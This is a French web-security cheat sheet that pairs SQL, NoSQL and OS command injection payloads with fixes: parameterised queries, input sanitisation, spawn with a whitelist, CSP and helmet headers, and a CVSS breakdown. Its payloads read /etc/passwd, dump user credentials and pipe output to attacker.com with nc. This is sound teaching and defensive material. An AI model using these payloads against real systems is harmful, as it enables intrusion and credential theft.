Ressources & Cheat Sheets

-- Auth bypass classique
admin'--
' OR '1'='1
' OR 1=1--
admin'/*

-- UNION SELECT (nb colonnes inconnu)
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username,password,NULL FROM users--

-- Time-based blind (MySQL)
' AND SLEEP(5)--
-- Time-based blind (PostgreSQL)
'; SELECT pg_sleep(5)--
-- Boolean-based blind
' AND 1=1--   (vrai)
' AND 1=2--   (faux)

-- Information schema
' UNION SELECT table_name,NULL FROM information_schema.tables--

// ✅ node-postgres — paramètres positionnels
await db.query('SELECT * FROM users WHERE id = $1', [userId]);

// ✅ Sequelize ORM
User.findOne({ where: { email: req.body.email } });

// ✅ mysql2 — paramètre ?
db.execute('SELECT * FROM users WHERE email = ?', [email]);

// ❌ Concaténation directe
db.query('SELECT * FROM users WHERE id = ' + req.params.id);

// ❌ Vulnérable — opérateur $gt contourne l'auth
POST /login  {"email": {"$gt": ""}, "password": {"$gt": ""}}

// ✅ Prévention avec mongo-sanitize
const sanitize = require('express-mongo-sanitize');
app.use(sanitize()); // Strip $ et . des entrées

// ✅ Validation Zod (string stricte)
const schema = z.object({ email: z.string().email(), password: z.string().min(1) });
const { email, password } = schema.parse(req.body);

// Caractères dangereux
; && || | $() ` \n

// Exemples de payloads
8.8.8.8; cat /etc/passwd
8.8.8.8 && id
8.8.8.8 | nc attacker.com 4444

// ✅ Prévention Node.js — éviter exec(), utiliser spawn() + whitelist
const { spawn } = require('child_process');
const ip = req.body.ip;
if(!/^(\d{1,3}\.){3}\d{1,3}$/.test(ip)) return res.status(400).end();
spawn('ping', ['-c', '1', ip]); // Pas de shell, pas d'injection

// ❌ Pas de CSP — tout est autorisé
Aucun header Content-Security-Policy

// ⚠️  CSP basique — bloque inline et CDN inconnus
Content-Security-Policy: script-src 'self'

// ✅ CSP avec nonce — seuls les scripts signés s'exécutent
Content-Security-Policy: script-src 'nonce-abc123'
// HTML : <script nonce="abc123">...</script>

// ✅ Strict CSP (recommandé)
Content-Security-Policy: default-src 'none'; script-src 'nonce-{random}' 'strict-dynamic';
  style-src 'self'; img-src 'self' data:; font-src 'self' https://fonts.gstatic.com;
  connect-src 'self'; frame-ancestors 'none'

const helmet = require('helmet');
app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'none'"],
      scriptSrc:  ["'self'", (req,res)=>`'nonce-${res.locals.nonce}'`],
      styleSrc:   ["'self'"],
      imgSrc:     ["'self'", 'data:'],
      connectSrc: ["'self'"],
      frameAncestors: ["'none'"],
    }
  },
  hsts: { maxAge: 63072000, includeSubDomains: true, preload: true },
  frameguard: { action: 'deny' },
  noSniff: true,
  referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
  permissionsPolicy: { features: { camera: ["'none'"], microphone: ["'none'"] } },
}));

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Score : 10.0 CRITIQUE

AV:N  → exploitable via Internet
AC:L  → très simple à exploiter
PR:N  → aucune authentification requise
UI:N  → aucune interaction utilisateur
S:C   → scope changé — RCE possible
C/I/A:H → confidentialité, intégrité, disponibilité totalement compromises